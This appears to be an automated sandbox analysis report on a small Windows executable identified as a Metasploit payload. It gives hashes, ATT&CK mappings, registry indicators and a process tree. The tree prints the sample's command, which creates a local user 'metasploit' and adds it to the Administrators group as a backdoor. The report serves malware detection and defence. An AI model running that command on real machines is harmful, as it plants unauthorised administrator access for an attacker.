metasploit | 626ef24611c5b19b1cba294d736e737fc958a9b5b26d9abb1a06b14742ffa1ec

Analysis

max time kernel
130s
max time network
123s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
17/08/2024, 17:59

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

a38e29e577c3f7f15d7f8b12926ff600_JaffaCakes118.exe
Size

4KB
MD5

a38e29e577c3f7f15d7f8b12926ff600
SHA1

90542a61673e2dec837690cb305e8a07fd7dcb0c
SHA256

626ef24611c5b19b1cba294d736e737fc958a9b5b26d9abb1a06b14742ffa1ec
SHA512

0ea1305de485f9b269e180b4654740fc834414b8703ec7182d291981e649dafac980ca6922870be87378c46fd50b82b45b22d7e856390c9e6a5b5ff6ed3b9519
SSDEEP

48:6niVHNbDnLDn5y7hgYMGSispmgeGMX+Wi1FKo+KTrQGw3xZOHnhBBddRBgU:+GHNzb52lKnMgej+Wi1F+k3w3GnBRz

Score

10^/10

metasploit backdoor discovery trojan

Malware Config

Extracted

Family

metasploit

Version

encoder/shikata_ga_nai

Signatures

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

Program crash 2 IoCs

pid	pid_target	Process	procid_target
684	2808	WerFault.exe	83
1312	2808	WerFault.exe	83

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a38e29e577c3f7f15d7f8b12926ff600_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe

Runs net.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2808 wrote to memory of 4404	2808	a38e29e577c3f7f15d7f8b12926ff600_JaffaCakes118.exe	84
PID 2808 wrote to memory of 4404	2808	a38e29e577c3f7f15d7f8b12926ff600_JaffaCakes118.exe	84
PID 2808 wrote to memory of 4404	2808	a38e29e577c3f7f15d7f8b12926ff600_JaffaCakes118.exe	84
PID 4404 wrote to memory of 4120	4404	cmd.exe	88
PID 4404 wrote to memory of 4120	4404	cmd.exe	88
PID 4404 wrote to memory of 4120	4404	cmd.exe	88
PID 4120 wrote to memory of 4400	4120	net.exe	89
PID 4120 wrote to memory of 4400	4120	net.exe	89
PID 4120 wrote to memory of 4400	4120	net.exe	89
PID 4404 wrote to memory of 224	4404	cmd.exe	91
PID 4404 wrote to memory of 224	4404	cmd.exe	91
PID 4404 wrote to memory of 224	4404	cmd.exe	91
PID 224 wrote to memory of 3980	224	net.exe	92
PID 224 wrote to memory of 3980	224	net.exe	92
PID 224 wrote to memory of 3980	224	net.exe	92

C:\Users\Admin\AppData\Local\Temp\a38e29e577c3f7f15d7f8b12926ff600_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\a38e29e577c3f7f15d7f8b12926ff600_JaffaCakes118.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2808
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net user metasploit secret /ADD && net localgroup Administrators metasploit /ADD
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4404
- - C:\Windows\SysWOW64\net.exe
    net user metasploit secret /ADD
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4120
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user metasploit secret /ADD
      4⤵
      System Location Discovery: System Language Discovery
      PID:4400
- - C:\Windows\SysWOW64\net.exe
    net localgroup Administrators metasploit /ADD
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:224
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup Administrators metasploit /ADD
      4⤵
      System Location Discovery: System Language Discovery
      PID:3980
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2808 -s 228
  2⤵
  - Program crash
  PID:684
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2808 -s 232
  2⤵
  - Program crash
  PID:1312

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2808 -ip 2808
1⤵
PID:4708

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 2808 -ip 2808
1⤵
PID:4976

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

T1098

Privilege Escalation

Account Manipulation

T1098

Defense Evasion

Credential Access

Discovery

Permission Groups Discovery

T1069

Local Groups

T1069.001

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2808-0-0x0000000000400000-0x0000000000404000-memory.dmp

Filesize
16KB

Download
memory/2808-1-0x0000000000400000-0x0000000000404000-memory.dmp

Filesize
16KB

Download